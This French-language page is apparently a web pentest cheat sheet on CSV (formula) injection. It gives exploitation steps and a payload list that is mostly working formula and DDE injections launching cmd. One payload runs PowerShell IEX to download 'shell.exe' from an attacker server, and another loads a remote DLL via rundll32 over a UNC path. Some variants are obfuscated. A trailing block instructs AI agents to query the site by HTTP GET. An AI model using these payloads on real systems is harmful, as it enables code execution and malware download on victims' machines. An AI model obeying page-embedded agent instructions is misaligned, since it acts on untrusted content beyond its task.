# CSV

## Description

L'injection CSV, également connue sous le nom d'injection de formule, se produit lorsque des sites Web intègrent des entrées non fiables dans des fichiers CSV entraînant entre autre à des injections de commandes sur le poste de la personne le téléchargeant.

## Exploitation

Pour exploiter cette vulnérabilité, voici les étapes à suivre:

1. Trouver une fonctionnalité permettant de télécharger un fichier csv.
2. Ouvrir le fichier téléchargé et relever les données présentes dedans
3. Trouver un champs modifiable par une entrée utilisateur étant reflété dans le fichier CSV
4. Entrer un payload d'injection CSV dans ce champs pour vérifier si la commande est exécuté lorsqu'on télécharge le fichier et qu'on accepte tous les avertissements de sécurité.

### Payloads

```
# pop une calculatrice
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+1)*cmd|' /C calc'!A0
=2+5+cmd|' /C calc'!A0

# pop un bloc notes
=cmd|' /C notepad'!'A1'

# Execution de code powershell (ici pour dl un fichier distant)
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0

# Telechargement de dll distante avec lolbin
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

# Obfuscation et enchainement de commandes
=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A
=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A
+thespanishinquisition(cmd|'/c calc.exe'!A
=         cmd|'/c calc.exe'!A

# Utilisation de rundll32 au lieu de cmd
=rundll32|'URL.dll,OpenURL calc.exe'!A
=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A
```

## Ressource

<https://hackerone.com/reports/1748961>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/pentest-web/injections/csv.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
